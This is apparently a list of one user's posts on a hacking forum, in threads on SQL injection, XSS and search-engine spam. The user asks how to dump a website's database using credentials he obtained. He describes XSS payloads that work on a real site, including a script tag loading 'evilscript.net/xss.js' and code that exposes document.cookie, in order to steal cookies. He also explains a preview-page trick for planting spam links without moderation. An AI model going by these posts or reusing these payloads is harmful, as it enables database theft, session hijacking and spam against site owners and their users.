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Ways to improve page rank, or deceptively get more users to your websites or away from your competition. Where you can discuss SEO (search engine optimization) issues as it relates to computer security. 

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6 years ago
pr101
Chuks Wrote: ------------------------------------------------------- > Or check if they have an application which > connected to Db, eg phpMyAdmin, Xammp etc etc .... Yes, they use 0scommerce, can this make things easier? Remote connect most times doesn't work because the admin will have to insert wildcards for connections first....
Forum: SQL and Code Injection
6 years ago
pr101
This is probably a very stupid question, but here it goes anyway: I've managed to get the database server username, password, and name from a website, but how can I succesfully exploit this? How do I create something which can empty/leech this database succesfully?
Forum: SQL and Code Injection
7 years ago
pr101
I think ya all misunderstand. I have an URL from a website that uses cookies. This is how it looks: http://1337websitttt.com/e/comments?static=0&entry_id=129&bakecookie=&author=teyt&email=tusat%40jd33.com&url= Like I said in my first post putting '<SCRIPT SRC=http://www.evilscript.net/xss.js></SCRIPT>' (without the quotes) behind 'url=' works, but <SCRIPT>
Forum: XSS Info
7 years ago
pr101
ma1 Wrote: ------------------------------------------------------- > hrm... learning basic JavaScript syntax and a bit > of DOM first? I'm sorry not to be at your level yet.... I'm trying to learn and thought that Sla.ckers could help me with this.... I was wrong.
Forum: XSS Info
7 years ago
pr101
You can sometimes use the preview button on a, let's say, blog to get a preview page of your post (which contains your URL and spam). By converting the POST to GET you can get an URL of it and use it to submit to Google etc.. You are now listed on that blog without having the comment approved.
Forum: Search Engine Hacking and SEO
7 years ago
pr101
I've found a way to steal a cookie on a pretty big website, but here's the problem i've been playing with for a few days: The website allows this injection: <IMG SRC=javascript:alert('XSS')> and also <SCRIPT SRC=http://www.evilscript.net/xss.js></SCRIPT>. This script contains: ---------- document.write ("Testing " + document.cookie); alert ("alert &
Forum: XSS Info
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